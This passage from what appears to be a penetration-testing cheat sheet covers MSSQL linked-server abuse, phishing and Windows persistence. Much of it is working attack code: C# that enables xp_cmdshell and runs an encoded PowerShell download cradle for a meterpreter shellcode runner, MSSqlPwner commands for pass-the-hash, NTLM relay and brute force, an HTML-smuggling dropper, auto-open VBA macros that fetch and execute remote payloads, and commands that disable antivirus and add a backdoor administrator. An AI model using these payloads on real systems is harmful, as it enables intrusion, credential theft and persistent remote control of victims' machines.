        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
